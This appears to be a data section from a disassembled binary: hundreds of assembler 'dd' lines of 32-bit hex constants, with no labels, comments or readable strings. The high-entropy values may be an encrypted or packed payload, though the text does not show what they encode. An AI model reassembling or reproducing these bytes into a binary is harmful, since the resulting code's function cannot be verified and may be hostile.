dd 562FD58Bh, 89277CE8h, 0CE05EF3h, 0B300310Ch, 0C2354053h
dd 0B7194164h, 381AC8Ah, 5AB94950h, 9BE9E70Bh, 24D059B4h
dd 0F975173Ch, 5E40848Ch, 426BBE03h, 6F60789Bh, 0DF6CCE6Ch
dd 60216B74h, 0EB405D04h, 206EDE39h, 69D4E909h, 7FAFA8B3h
dd 7F78E018h, 684164B4h, 1B9D7C83h, 73E5A56Ah, 8E25DD2Dh
dd 0D288FACCh, 0D6E4972Ch, 0ADDF016Eh, 0A53ACDDBh, 0F0F1F593h
dd 0C8978287h, 3980CECDh, 0F59F6FCDh, 0CDCDBF20h, 16F7332Fh
dd 26852079h, 89A5683Ah, 0F5586D39h, 0F68E1A82h, 0FE0D6469h
dd 300947C1h, 480769Bh, 64D4962Eh, 0EAB185B1h, 559B3AF4h
dd 0BD2B9D95h, 0D9E9B036h, 0AC3BE156h, 8268B393h, 9F435180h
dd 0E100A277h, 151F1E61h, 60A2880Fh, 0AFC11993h, 257CA052h
dd 2071822Fh, 6129C960h, 0E94B136Eh, 5F7CB074h, 772F559Fh
dd 0C150F269h, 0E222D1BDh, 8ED8E0E9h, 914182B0h, 0FA572860h
dd 0B727B295h, 744F0272h, 998B97C8h, 88E70977h, 0C9A10E1Ah
dd 9634D268h, 5440261h, 60FB5251h, 0A05678DBh, 7C5B7025h
dd 2CEA2DB5h, 4A598006h, 21E2DA4Fh, 20BA8078h, 30DF1316h
dd 16100243h, 9809A53Bh, 2077FA27h, 58006BBDh, 7A494C2Dh
dd 318F0F31h, 0C297642Eh, 0EF7734D2h, 829047E8h, 57D1E2B5h
dd 6842C6F1h, 0F3D47D05h, 6B6A7C62h, 5D06F0A8h, 0E5545096h
dd 5613A908h, 65F988F9h, 0F3CCC130h, 84D35029h, 88C1EF36h
dd 218158F8h, 0AB74C6E3h, 0E8C02A76h, 41ECD04Dh, 2563C531h
dd 0A3FD7B7Fh, 3BC330F1h, 2590D336h, 37C673D2h, 0D97C9827h
dd 0C9EA427Bh, 46838209h, 69185792h, 47BD7959h, 585E2678h
dd 754FABE9h, 0AFE4B2ACh, 0A25B47ADh, 82A61B51h, 0A823BA83h
dd 5C87A83Bh, 8EE3D601h, 0FC384F45h, 0FD4A78B8h, 65DCEBE5h
dd 184E096Fh, 2809E3D1h, 0C793C07Ch, 0C15E71FCh, 25EAD2B2h
dd 0F7D6206Dh, 74FED65Fh, 0D8F4BE3Fh, 74275C6Bh, 6DBBC2A4h
dd 0DCB9A599h, 2C7D1857h, 8F13944Bh, 848C8BAAh, 83D5FCE9h
dd 7B003E4h, 9709716h, 0C4A1F2EEh, 5646868h, 0B222F99Dh
dd 1C41D6AAh, 9103A21h, 0C45F2607h, 9A73C402h, 5E58416Eh
dd 5B46F72Fh, 0D5178CB8h, 839EA366h, 535EF1h, 0C25D61F6h
dd 2ACF8112h, 7B563105h, 49A8EFE9h, 53A0B800h, 143549F6h
dd 6ED86500h, 5C2DD0F7h, 0A9BC0093h, 0FF054048h, 5F60B442h
dd 9BBEE052h, 0C72D0B8Ah, 62020106h, 78105F8h, 7CC8E95Fh
dd 0A1345A9Fh, 8457FFE4h, 5F515F27h, 7AB1743Eh, 2B63BDC0h
dd 18EBF34h, 39132962h, 4CD5F9C0h, 111B409h, 0DD1000CDh
dd 1BEDE581h, 115B364Bh, 0F4FEEFB9h, 924DE9BDh, 0DEF61738h
dd 477608EAh, 530F7A7h, 7B9733F4h, 1AD3A475h, 516016CFh
dd 77821218h, 0F66ED4F6h, 0C5806E9h, 0A8BF698Ah, 0C02B0F27h
dd 0CE69EC2Fh, 2858D940h, 0C280DA0Eh, 4BEA66AAh, 662E0906h
dd 0DBC0C05Bh, 85A4777Dh, 641F4C0Fh, 35E66401h, 448F08Ah
dd 0F6427A2Dh, 0F178D675h, 2DCDBF1Ah, 0A0B25944h, 8422335Ch
dd 329A6620h, 90CC3BC3h, 7A7F696Fh, 0B15D0828h, 0BB9E19FAh
dd 0C25F7427h, 0D156D953h, 1F56F469h, 0E3163F52h, 4E99F3DFh
dd 855E71EAh, 9EC33202h, 9CF4ADD2h, 54B50BCEh, 975043DDh
dd 51F16E16h, 72599FF8h, 4D5CE916h, 0B1112994h, 4828C32Ch
dd 11F5CC7Ah, 2549F559h, 59BE415Dh, 27AC4F61h, 238909D0h
dd 0B6012964h, 0C0C6FE0Eh, 91FC03E6h, 0DE7197B4h, 9257F42h
dd 23D34730h, 0A86274BDh, 1D5CF1CEh, 16E86E45h, 6B00BF96h
dd 72BE4115h, 50C43168h, 3E5B584Bh, 165076F2h, 0DC07B706h
dd 390BFE2Fh, 5B24E54Ch, 8378B152h, 31024AC2h, 96D44C34h
dd 16AB5B3Eh, 7574E9A8h, 418F6417h, 0A54552E0h, 0B1F02FD1h
dd 84E9CDC2h, 1E0DDB96h, 0A00CD251h, 0F4955D49h, 0AC72F24Eh
dd 0C634232Fh, 6FA284A5h, 0EBD85050h, 48970168h, 8263CE67h
dd 9891D2DFh, 750D3448h, 93A5BF39h, 1E89E660h, 0CB3AFB36h
dd 0F43E6Fh, 5E0858EAh, 3BEB2CD7h, 0A2674F31h, 125F7936h
dd 0CFFC3369h, 7AB70896h, 1F25E9A2h, 621D7614h, 8001E45Ch
dd 0C1CC58C9h, 0EF1EC6Ah, 59CA285Fh, 7AD7D409h, 185D9526h
dd 9E74C03Fh, 982483Ch, 60736CAEh, 34B90D80h, 7B2D4622h
dd 0C1C48D1h, 2156EF12h, 929A2370h, 5EEEEBEFh, 0AB26C955h
dd 8986CE1Ah, 0D8506FA5h, 8A5E1067h, 312129D0h, 891A1F23h
dd 0DDB349E8h, 0B460B05Eh, 95533713h, 93C2F720h, 71C7338h
dd 8CF4D0E9h, 2EC9E4BEh, 68125A61h, 0FA4D14FCh, 0B70A29E0h
dd 0B2ACA18h, 5061771Dh, 7B6A0E80h, 0BFDDE966h, 75949310h
dd 0DA170728h, 59E1B625h, 0B2D4424Ah, 62BFFB48h, 69EF0496h
dd 0B220A24Bh, 0D9F282A8h, 99D95DE5h, 8B95B52h, 590EF97Dh
dd 0EB42E555h, 44C4AF34h, 0EE802480h, 0F128043Fh, 0BE7C05E9h
dd 4A3E5032h, 0C9735F3Eh, 0A91FE60Bh, 1CE5F5FEh, 0D845017h
dd 33C52080h, 3C703E13h, 838FEA35h, 6B3B37E3h, 0B88B8E4Dh
dd 0CCAA1319h, 0B7122D45h, 0B1ABEDF6h, 34B7005Dh, 0D6B5F952h
dd 38D5096Bh, 0EB3FFCh, 7B0B2B1Ch, 9FBB9878h, 43587099h
dd 8B161951h, 0B808D989h, 13FF2C50h, 0B868EF7Dh, 68530B5Ah
dd 1C662A98h, 320F6603h, 406ABB65h, 7F55CC0Bh, 0AA485A59h
dd 2508BB10h, 25A5D15Ah, 535038FCh, 2C6D7DBBh, 10394073h
dd 0A8B114E6h, 82EA20ABh, 0D2EAD792h, 0DE582472h, 5A954FEh
dd 0B635CA00h, 58C60997h, 46F60481h, 0BF447C49h, 0AAC77C4h
dd 0E129E85Ah, 0C1015730h, 0B29541E6h, 2E44652Ch, 0E3E165BDh
dd 0A3B004C9h, 45242588h, 8A6105FEh, 94440F1h, 8B1831B8h
dd 0D4783F48h, 0EE885580h, 68EC0CB5h, 0BD1F7AEBh, 1D64F19Dh
dd 704AA413h, 0C0821E9Ch, 28EFB176h, 9FBD3299h, 79B87D7Ch
dd 0BD48FB95h, 0C9EF0B92h, 0EDA82FEAh, 0B0ADFAA4h, 0EC9113D6h
dd 0E9F004E6h, 24FA4CC4h, 4C8DAB80h, 543B0541h, 8A0130D4h
dd 0A840809h, 0A88D413h, 808146CCh, 6607C380h, 7CB5585Ah
dd 0AAE46507h, 47F41153h, 7B901740h, 3E5213h, 7A1F2889h
dd 2A25E933h, 0DE32F732h, 0B676D840h, 56E000BCh, 2825E0BEh
dd 418905E2h, 0ABCD4178h, 0ED810043h, 4A1802A9h, 9560E975h
dd 6D05F690h, 8430C012h, 0C10B80FFh, 0F65E0ACAh, 517867F8h
dd 313C08E9h, 0F938AB5Eh, 0BA520450h, 0C26C091Dh, 0C9686958h
dd 8F130F42h, 28EEA8D8h, 0E5409328h, 82BBFBDh, 5DF2A3D7h
dd 8C688958h, 424E63Bh, 3F6F0241h, 0D33EACF8h, 68C0EE4Ch
dd 47A21E9Dh, 664A3A90h, 4A7C0328h, 0E24D5058h, 101D611Ah
dd 59D1D675h, 0A866FE52h, 1663B900h, 0E1C12220h, 0F490603h
dd 242D608Eh, 0E78C0EC2h, 0E1090B39h, 5694B370h, 52B4D572h
dd 63F35F50h, 24D3A40h, 0CDD42D95h, 3B76FC22h, 990DD072h
dd 88E9C127h, 42316F4Bh, 0C514209Ch, 0AD9BAE8Eh, 3885D31h
dd 0B25B0330h, 0CC6FC85h, 5EADF521h, 20A2659Fh, 1B4BEB2h
dd 4484202Dh, 74B07ECFh, 0A61A5AB6h, 185D1268h, 0B7D64CE9h
dd 49834CDDh, 97C44BEBh, 58608AAFh, 0DF9510B3h, 1C2D4548h
dd 56920BD9h, 0FA96F2FCh
dd 0A958DACBh, 0EA4E2838h, 4BB0F52Ch, 5FBBB272h, 5605EFE9h
dd 8752A00Dh, 7E7F106Bh, 70F2D0Fh, 0C14AAA0Bh, 3A5508C2h
dd 0FE008B38h, 0E96C0EFCh, 82AC0C51h, 0C29FBEF2h, 616DD711h
dd 0CC4F2990h, 45BDB2D5h, 0A3680BBEh, 883798FFh, 674E4DEh
dd 0FCE90187h, 0F10733D1h, 5F6F0FFBh, 5397D7B4h, 50F1DB54h
dd 5192B96Fh, 5E52CFFh, 17F625D7h, 2EC69D01h, 1EA4508Fh
dd 0A98B5A08h, 0C69F73FCh, 1AFC3C47h, 19E807B4h, 6E6C00Bh
dd 5C045E8Bh, 0E99CE06Eh, 675E5D2Fh, 0F3163F4Fh, 0C4CCA883h
dd 0BF0067B5h, 1AEC7EA0h, 0A10B687Ah, 54582B7Fh, 90DFEB95h
dd 0B2C9E973h, 807F9D9Eh, 0E78514AAh, 6022B83Fh, 5AD17171h
dd 475CC2Ch, 5D1CBCE9h, 0D3311DF6h, 354FDDD2h, 0D07B280h
dd 0EA6359CAh, 68063724h, 5DC2E712h, 70178206h, 5428B1E9h
dd 5D406397h, 68E18D04h, 0F7AD76BDh, 4BD0FCA5h, 0BE963CEEh
dd 0DFF32C5Bh, 0D567A504h, 6AE1FF69h, 0A145344h, 0BA2F6069h
dd 584D6018h, 63205F79h, 0B7317A9Fh, 388EAB41h, 572D69h
dd 6729BC44h, 0B858BD23h, 0B7320782h, 3889360h, 7D5259B6h
dd 0A074CE74h, 0D067C9BCh, 0E21CAF92h, 62F2C28Fh, 9457D788h
dd 54609DE0h, 86828021h, 2F0B1F66h, 0CDC933B5h, 33A6CF81h
dd 0D25A5926h, 4A242716h, 5FF0A0AFh, 7314DC97h, 0E957BD06h
dd 3D387FF5h, 0B51CB353h, 0B4F625E4h, 68BA3517h, 9948E98Eh
dd 54F280C2h, 3E2DD67Eh, 259BD089h, 10B1EF88h, 50CF6228h
dd 71BD6A32h, 53A38229h, 0BBB247EDh, 0DA434D8Eh, 2F0116E9h
dd 765EEF81h, 0A57B22F2h, 5D080203h, 0D28EFC5Fh, 41C91680h
dd 3500060Dh, 6E812701h, 9D44FBE9h, 3AF0F5B9h, 6A4E39EBh
dd 0D653E427h, 0A9EA8441h, 0C9FEF012h, 6A02AE9h, 0E6E3B5D1h
dd 1302063Eh, 734B0B36h, 6F4C7F63h, 52273A80h, 74883494h
dd 2782419h, 59158BCh, 0A10B1AE8h, 1BC5AA9Dh, 26E63F34h
dd 0D8A30993h, 0BB5F98FFh, 22250C52h, 0F6A5144h, 77EFD5C9h
dd 0B2032C42h, 6EA8A5C7h, 2427E93Dh, 2FAEF391h, 0B5651D4h
dd 0D6315F5Ch, 0E2E055EAh, 0CC4AC8E9h, 67B159B8h, 23FD04A9h
dd 0EC881E84h, 0A852DED8h, 0CEF60BD7h, 0EE29240Dh, 827F27C6h
dd 5D895D80h, 0F781D8D1h, 3EBBE9D2h, 1392E148h, 0EB31B005h
dd 0A080250h, 0B22241E9h, 0BE5693BDh, 5B63DD88h, 0FFD49466h
dd 1FDA6F81h, 192DF13Dh, 67BA09EBh, 0D2D2EB2Fh, 0F120C02h
dd 3DC64C32h, 8718D064h, 1FE453A0h, 4918562Eh, 9A2121AEh
dd 704B58C3h, 0D25A62D4h, 0E4929EA6h, 4E4A63C0h, 1293A9A2h
dd 0E01189F1h, 0DFCFF2ABh, 9D92FCEBh, 7BACE6BEh, 58BDAD4Fh
dd 13F8C11Ch, 4FF0A8F1h, 3ED8CF17h, 59C82521h, 0B404420Bh
dd 9D61FE3Fh, 973A0DD3h, 0AE77276h, 1AD220FDh, 505EE115h
dd 722FC05Ah, 0F70064Bh, 0F1678485h, 437CDC97h, 165F60DEh
dd 8F684904h, 50D71E88h, 3491877h, 684A9E99h, 21126660h
dd 23A26F95h, 0D9B4B685h, 2C05E5B7h, 3DB35A73h, 0DC0811D2h
dd 0A0BBA02h, 5C5D7A86h, 4FCA00FCh, 0D17B6D1Eh, 70EA2BF3h
dd 0A6ABC28Eh, 7FA03125h, 0D2DDEDA9h, 33A29D50h, 97AB3170h
dd 142D2C70h, 0FC4B1996h, 0FF284D35h, 74D20F10h, 0DA7E8B2Fh
dd 1BE60108h, 0E9039739h, 578D57E0h, 5844B97Ch, 1935809Dh
dd 1810C15h, 5A10D1E3h, 3548E92Ah, 1EF97B79h, 266857A0h
dd 0F4E177Bh, 22339CB8h, 0E2E9530Fh, 1A307A07h, 7A6D52h
dd 566CBB1Eh, 0A5E9106Ah, 0F2257C63h, 1C31EF5Eh, 9DF42EEBh
dd 962BBE38h, 93C7EFC7h, 0F52B54C2h, 28B4CE64h, 4A27CC89h
dd 2E255D4Ah, 1672E377h, 0CDF42516h, 4906F0D9h, 0F14A88C0h
dd 66B341B1h, 0F3B1300Dh, 0AAB95105h, 0EA01A60Eh, 0E07F79E1h
dd 0FB7FB02Eh, 20FC0F13h, 9875CB02h, 0F45BC0AEh, 0D7D9A955h
dd 4F71CB3Fh, 0B72904A4h, 5A66017Eh, 0C86C5AD4h, 3C4B873Ch
dd 92A971EAh, 0FDF24825h, 2CBA7E4Ah, 61B3EE03h, 1B5B5288h
dd 1527CA68h, 5A96E0CAh, 74C24C31h, 80121620h, 0DE8C1ECh
dd 0F2C85B70h, 7D8DC4A2h, 1701C346h, 0BB01A4B0h, 68720D7Ah
dd 556C2B3Eh, 0B6B126C2h, 6549A860h, 697771B7h, 7D6B7F56h
dd 0AF8BFB24h, 0F2BFE612h, 8A19D6E6h, 0E3DB5D86h, 0F1930394h
dd 731126A7h, 423382D9h, 0A290C172h, 0A98399E0h, 0A36E15C7h
dd 7CA85B07h, 4A56AAA5h, 7999606h, 1B009D9Fh, 0CD38CABAh
dd 0A0050401h, 2D545B15h, 5EB549DCh, 98A103h, 8CA1E907h
dd 2F22E697h, 4AF9086Fh, 262C6885h, 0BA3D9CAAh, 8D8C3C5Ah
dd 0EA781727h, 0BDA01050h, 4D0AC3C0h, 0CC115EFh, 729D746Ah
dd 2688C610h, 54E47897h, 9559FA80h, 2F1820F5h, 0ED5CFD7Ah
dd 247E6DE4h, 276312Bh, 129A3D7Ch, 3E1D4075h, 5F427D93h
dd 7845A6F9h, 81707D49h, 3E3A0B60h, 7006E42Eh, 0E94A7A0Bh
dd 2CA2DFF9h, 0D6572C4Dh, 195F520Ch, 9835719Ch, 8D20F0C1h
dd 2F6D4187h, 2F2DDA20h, 64447E2Ah, 0BB882D8Ch, 0E8F765C1h
dd 56E8E5AFh, 12D7F398h, 0BAA4ECFCh, 50B6CAC4h, 31F51269h
dd 0A23E5438h, 87A222h, 2F6D685Ch, 0C562D4BEh, 45BB00BFh
dd 3238C430h, 0FBE0D04Bh, 23D5C903h, 7B5BD929h, 48C10506h
dd 710EEE66h, 6CD04B89h, 52558436h, 5794DAC1h, 0BBA39CCh
dd 30E0254Ch, 8B3FE4DCh, 0FF5E5A56h, 85BE763h, 0F28B86B8h
dd 0CD68D0Ah, 980C7EC2h, 881366FEh, 0A3AED589h, 0BD0B93F5h
dd 5F5E91Eh, 0EAFC132Bh, 0C9A5C061h, 0EEB15E03h, 0A1680062h
dd 6C1CB160h, 68185069h, 9663332Dh, 835C4A0h, 21CB1F30h
dd 0AC84C765h, 7568846Eh, 8B3AE641h, 5A48555h, 0E200F5FDh
dd 639A6F85h, 0C8B0D2F7h, 51D16815h, 3CE90921h, 503D766Fh
dd 689D6CFCh, 7A015A4Ch, 0C57D4FCFh, 0E4DDEE0Eh, 3334A2DDh
dd 111650B6h, 5CCAE205h, 48106C7Bh, 0D1FF9622h, 0EF137DB8h
dd 0E59056E4h, 2E976A22h, 9BE5A0Dh, 0EB7C1A65h, 7F52B870h
dd 65509A4Fh, 0EB050D4Eh, 0A62D3740h, 4C3BB35Bh, 7405029h
dd 95F159E9h, 101B2D07h, 0F829E30Fh, 0E907059Dh, 4E924BBEh
dd 0ABC0C78h, 82BBE52Dh, 0E95CDA8Ah, 0DAE6AC89h, 0CC36A120h
dd 0F5C339E6h, 95272213h, 97CDE304h, 8F7CF012h, 80B72A5Eh
dd 7C094D7Bh, 139FE35Eh, 933108D8h, 0EC7FC788h, 0FCC7A7B7h
dd 0E958E6E0h, 0D0CF5F91h, 87A3529h, 74686D0Ch, 5A8E6726h
dd 9C71D1EEh, 7F5936D7h, 0D240DC2Ah, 807EB204h, 81AE64F2h
dd 6B66B96Dh, 670391C8h, 0D1C2E725h, 206E9C21h, 57015040h
dd 870F41A0h, 0E7A74A3Bh, 0E9C5A1DFh, 3B813DF8h, 117B0AE6h
dd 84A02F42h, 92299F7Eh, 0D52A0A50h, 0E912731Ch, 0F9CC35A3h
dd 2D2412Fh, 0C77138E0h, 79B2E10Ch, 87E009C7h, 0AF8BBAFDh
dd 0DB2D1873h, 0E02209DBh, 6B3099FFh, 0E43F7775h, 64406D30h
dd 5B88EAB0h, 1C7588C5h, 0B62DF280h, 0FD06288h, 0BDC0A50Eh
dd 0EC8603B2h, 2B2F2106h, 5096FF6Dh, 0EBBDBBFCh, 0A4594F2Fh
dd 9970CDBh, 0BE1ED564h, 494E3D4h, 6EEB136Ah, 0CCA1F182h
dd 0A34E24D3h, 1458BF49h, 9C4D6A05h, 0F78B8075h, 785A035Dh
dd 33891E4h, 317B2522h, 0A44F5FFDh, 0E9B402BEh, 0A2F14B3Fh
dd 10967FADh, 6CAA5B4Bh, 89EEE954h, 0BA6648C6h, 0D5F4CEACh
dd 29205AEFh, 0BBCBE9C5h, 41B28BBAh, 0BE2CD43Fh, 0A6B89156h
dd 0B350904Ah, 0F9E5D351h, 0C9372BCFh, 6E80C304h, 9DD328F2h
dd 408D9F69h, 193689Dh
dd 0E98454BBh, 0C0004818h, 0C38004EBh, 0AE37ECCh, 58D8E0BEh
dd 9810CF5Bh, 0B4497561h, 0FD680206h, 0FF2C280Ah, 0BA025C16h
dd 44E82016h, 6AEC7531h, 5A65A180h, 97ECF7Dh, 2DB87AEBh
dd 0FFCAA93Eh, 0E6839A93h, 43012F70h, 0D5448A51h, 0F1948394h
dd 0BF12DA9h, 17F32B42h, 0F1E360Eh, 0F70D0152h, 6C0C9C3Dh
dd 7308045Dh, 20C1FC46h, 243B80FEh, 0D10D5032h, 59747C2Fh
dd 5F182268h, 4A685691h, 2F87F1F8h, 343F12DEh, 0D218CACAh
dd 6BD79616h, 0D91FFF60h, 0DCADF73Ah, 0D769E459h, 384440D1h
dd 5379B3BBh, 0A1552865h, 1A82D75Eh, 0EAC27FABh, 211ECC57h
dd 0F82623Eh, 497DBD88h, 1C6450Ah, 0E1D6F75Eh, 42D5285Ch
dd 6BE9C27Bh, 48C17A46h, 8003F405h, 57328D1Fh, 7B5854FAh
dd 0C8045D9Fh, 0A7BBACB5h, 0F6680FC9h, 28E4FE62h, 132C40F3h
dd 0E2975970h, 151961A7h, 0C62A9C4h, 555EF731h, 22000C14h
dd 23BD6F9Ah, 0B82B1939h, 0CDE93ABDh, 4E88CF5Eh, 2C4F3B2h
dd 52C2130Ch, 860B7D9Dh, 18FE455Dh, 4C4B0E45h, 0F20B9C2Dh
dd 0AFACBE16h, 0B0FC9C5Fh, 548B60DEh, 9E7F87BBh, 4A77E4C2h
dd 0BDF7071h, 12C5439h, 0BD314F02h, 9DAFC09h, 0BA5DE050h
dd 2D2FC0CFh, 0A2350D9Dh, 3BEE8DE9h, 87E1C6E8h, 1614C242h
dd 0AAC017E9h, 0D5C29492h, 0D04F1EE4h, 95355903h, 97BF91Bh
dd 0F3FBE744h, 179909F5h, 0E410DD22h, 799F6AE4h, 0EDC48DDFh
dd 0EF74D0B9h, 70779B25h, 7267A1DDh, 0F1E7F7C2h, 0F0B9BA9h
dd 0CB18AE17h, 41254843h, 3D2D81A5h, 0DBE45FEFh, 0CA73D2D5h
dd 0B3EA9273h, 10EF5847h, 0F06734Bh, 6D58F385h, 24625A24h
dd 8051B260h, 0B47F00C2h, 0F2815975h, 790A15CDh, 855B5268h
dd 96B3542h, 84ED29E3h, 4A7EE8E2h, 87C730A2h, 0BEE380D3h
dd 56B80567h, 1CDF35Ch, 860F7A85h, 0CA3ED59Eh, 74E01862h
dd 543BD3Eh, 0C14C8F6Ch, 81830EE5h, 1B2DABD2h, 0AB084F7h
dd 718F0FBFh, 0B2462C74h, 644B144Dh, 1B3D1FBh, 0EDCA6E0Ah
dd 6D963028h, 600D0632h, 0BE800D68h, 2F4A16ECh, 5593B225h
dd 1F912AB2h, 0B3A4FE9h, 0D1F35509h, 2CFB76EEh, 9559E988h
dd 2AED4E98h, 2B946882h, 5716E9F1h, 417A0D0Fh, 0C9E97E3Ch
dd 9D0EE82Fh, 41F03A75h, 8CED0751h, 4B40E9BAh, 22121466h
dd 93047F55h, 3DBF3EA3h, 48C56D8Dh, 67997338h, 0C8685780h
dd 7F502C32h, 0E25E2A5Fh, 98C104E1h, 0BB209336h, 0E087D3C5h
dd 0B5D57819h, 1EF075FEh, 0AA28D3FDh, 0D95A5393h, 0FF2D3936h
dd 30205D12h, 85B35357h, 0C9DA8826h, 6712D012h, 0BDBA6184h
dd 0B551E133h, 2567B6E8h, 0C8F4B9E9h, 0B38172Fh, 36C06EE9h
dd 6D1E05BBh, 0A69261FBh, 241229FDh, 9C0FCC4Ch, 794A1C98h
dd 0D35C1372h, 496927C5h, 102D2A9h, 0ABB360D6h, 76D5280Dh
dd 9D9A2085h, 44AA2D4Bh, 0BF4ACCEFh, 7266758Ch, 3BD39455h
dd 7D0F715h, 860AE85Bh, 9036862Dh, 75F201CDh, 29EC3792h
dd 0B2C06ED1h, 4F21064Bh, 58A3A013h, 0C3DC1141h, 74312E68h
dd 75C2CFA5h, 3CFE2F9Fh, 6D005A26h, 0E90F4F0Dh, 3B2459B6h
dd 5BE6EE7Eh, 21EFD73Ch, 0EF7BF406h, 0D700EB83h, 278E7559h
dd 0A205C829h, 63F1FF07h, 0C7F8E904h, 0B2B477EBh, 47FD62A7h
dd 0E42DEFh, 207E72B7h, 0B0EA4439h, 0DE972670h, 84F5C11Eh
dd 2A15F5A1h, 0F9CCCFF5h, 728A0B3Fh, 57FC201h, 4F840F77h
dd 0A8EF9700h, 0A063EE48h, 808C08ADh, 5959E830h, 9E8C9F28h
dd 0BA1C53h, 6D1608B1h, 1A800F42h, 0FD070BB7h, 2EBE6B8h
dd 0CD160BE1h, 824E9416h, 0C961EBBBh, 6F4581EAh, 6011E620h
dd 6BED5720h, 0F6D118D3h, 0F9150026h, 76FF4B98h, 0B6B07607h
dd 5DC8825h, 77B1A9AEh, 136DAB2Fh, 82BFE330h, 60B16691h
dd 7DBEC881h, 0A2794942h, 0D70B36BDh, 0F4B7359Ch, 6A147931h
dd 0F4B9E01h, 0C434ED8Ah, 7701B843h, 0FAA5D249h, 0F1D1B7C9h
dd 0DC9DBD08h, 6C310904h, 417BA57h, 7FECDE51h, 0A74BA84Ah
dd 689BDBE2h, 0F6685214h, 13032538h, 0AB42C40h, 4E399420h
dd 0FB5716BBh, 6012A519h, 0E3D8A4EAh, 5FEB9CFAh, 66134EB4h
dd 27259AFFh, 0D03FD602h, 0EAE4D530h, 0C28608C3h, 0F8819C50h
dd 0AAFD0F6h, 28B71BE5h, 8C68D5E0h, 5BE0A823h, 0BFAA8362h
dd 5295A878h, 0EFEE5A60h, 20DDBD10h, 0C5301537h, 51412D66h
dd 0A749EFC1h, 0FFC269D5h, 0AA20FEC4h, 0FB6812FDh, 0DD8E8C15h
dd 2BDC1A4Ah, 0A5549F51h, 524EE941h, 8040416Bh, 0D8306140h
dd 230D94C9h, 0A6E90991h, 0A37F0C65h, 3F29848Bh, 80663DABh
dd 80BA5264h, 0F205591Eh, 0AE59DD1h, 0BB534980h, 58055733h
dd 0DA16B250h, 8704AF2Dh, 0B9000F18h, 4762653Eh, 68515001h
dd 52A315D8h, 44DCA720h, 6B09F1BFh, 0D472E432h, 0E880C0Ch
dd 7A09C71Bh, 0DD78B63Bh, 25087728h, 0E93727C6h, 0DD7733EAh
dd 0A3E7D472h, 1713F6AFh, 0BB36E5F3h, 9F0CDD68h, 0F49815ECh
dd 1562E20h, 1C748BB8h, 0D43B050Fh, 0F7B83A10h, 0A0E9080Ch
dd 77B46AECh, 0FEAD5970h, 890D444Fh, 0D1B91315h, 49973079h
dd 0E6CC8054h, 3BA6529Fh, 4CFF305Bh, 0DE840BB1h, 34AB17B3h
dd 0E5B10078h, 0F343970h, 0CF308416h, 90F2D0BDh, 4255AA49h
dd 9AF741ABh, 13399068h, 0F1D6A8B2h, 6152D6Dh, 83242158h
dd 35BBF39Fh, 9880E9C3h, 1EE7308h, 4FB85035h, 610A421Fh
dd 93E14207h, 2F685C01h, 4C29F54h, 8198FC4Dh, 6B0266A2h
dd 0CDC27F47h, 62EDD9B3h, 0D622446Dh, 87590566h, 6377D1A7h
dd 8B4A800Bh, 21759703h, 0EDEB0FEh, 0D50EA2EEh, 7506EF52h
dd 62FD91E9h, 282FCE01h, 0FD289275h, 3BF3A648h, 4D23F505h
dd 81C2DE31h, 62005C0Bh, 82902ADDh, 3180FAD2h, 0D898BDC3h
dd 59132A68h, 3EA818DFh, 70B951B0h, 0E384403h, 25FE23E9h
dd 46868644h, 7D5A9C88h, 85CDCE40h, 0B0496947h, 4A284A87h
dd 9F9DD67h, 36FD5891h, 0AA9229D8h, 3D7A01D3h, 0F1521C08h
dd 82DF54D8h, 975C5DEh, 0A9D1D772h, 718236C2h, 526800CEh
dd 5F4B8C48h, 768FF8A0h, 7456052Dh, 84081FB1h, 0FB09858Bh
dd 120212A0h, 0FA2B106Ch, 291862B6h, 2579B6C5h, 4A44FF2Ch
dd 77351E09h, 0DD97B864h, 0E9184E14h, 0C7D507A6h, 1E4BFA79h
dd 0EDC568E0h, 0FB750746h, 919FEC95h, 0DA086B7Bh, 0EC3616B6h
dd 3A083E5h, 0B4C5D741h, 0C828FD40h, 0E2C0B252h, 800703E2h
dd 0DAF6B0CAh, 4357D292h, 578A9297h, 28599440h, 7961D85Ah
dd 6D7C632Fh, 58322A1h, 80A144FFh, 0CDFE000Eh, 0A847C368h
dd 9618B368h, 7FE941AEh, 130ABD32h, 4CB820A9h, 1A5551CBh
dd 0C07AD191h, 8E0FE95Eh, 2FD489Dh, 0E7FC8295h, 760B4087h
dd 9727FB9h, 58C3891Ch, 238ADED2h, 7FA13260h, 0D89D34C0h
dd 0D771A053h, 8B38586Ch, 4C82B676h, 0BD404E54h, 307D12BEh
dd 0DEFC1CF9h, 0EDCABD49h, 0D19384C7h, 7BC8BB00h, 9EF43301h
dd 0C1AD0C62h, 53B960E1h, 908F82D3h, 89911A0Ah, 0E2DEA2DFh
dd 91EB2950h, 0E3FA088Eh, 3D084F26h, 58AF3DEEh, 890F4740h
dd 16128835h, 0C578F3EFh, 7A82D501h, 209982FDh, 0CFCD429h
dd 42516EFAh, 9DEE05F7h, 30CF4BBh, 68D3CCA8h, 1908D631h
dd 272B2EB3h, 41A9829Eh, 0F9C7FE03h, 8B3DDAECh, 0FA3A9012h
dd 71E3F527h, 0F6B1034Eh, 3FDB78F1h, 581459D9h, 0F06A75C0h
dd 3800E043h, 2D07610Ch, 0B04A12EAh, 80E5136Dh, 7A0E0D5Eh
dd 1EC2315Bh, 0E9C67D0Ch
dd 7E622CF0h, 5D05DDE5h, 55854DD4h, 8EA15D56h, 4002E04Bh
dd 2D09E957h, 0B0D6655h, 1BDC6853h, 0D7692671h, 15E226D9h
dd 56369FCh, 4E9C4AFCh, 9EC917Fh, 0F6FA05E4h, 8A26992Fh
dd 5BD5E310h, 0FD7ACA28h, 656DC931h, 0DDA52764h, 5BC385F7h
dd 5CF390BBh, 3EF9EEE0h, 5A42C3F5h, 80BD512h, 901434FDh
dd 0EFA2575h, 6EF38E69h, 0B8F774F5h, 98500ACBh, 7AC195ABh
dd 0ACF57553h, 9738542Ah, 8BB8FC49h, 6038B34Ah, 502F52E8h
dd 0F929345Eh, 7E081F80h, 5309F24Dh, 259931B7h, 8A844228h
dd 8001CC66h, 0B6524FF7h, 5AD83047h, 5BFC3E08h, 226EC17h
dd 0F588584Bh, 0E978C9D4h, 0F60F4055h, 0CFFEDF19h, 3830D752h
dd 254762B1h, 0B7026260h, 812E409Ah, 0A6A1D47Ah, 71D64E02h
dd 0B5FED3F7h, 77520613h, 0A04381EEh, 0F6207E99h, 48512968h
dd 1926814Bh, 87D4AF7Fh, 4E89F5A5h, 0C54412DCh, 0B33BB907h
dd 6DD21A4Eh, 21E549F5h, 0B84B0478h, 10AA9382h, 97507ECh
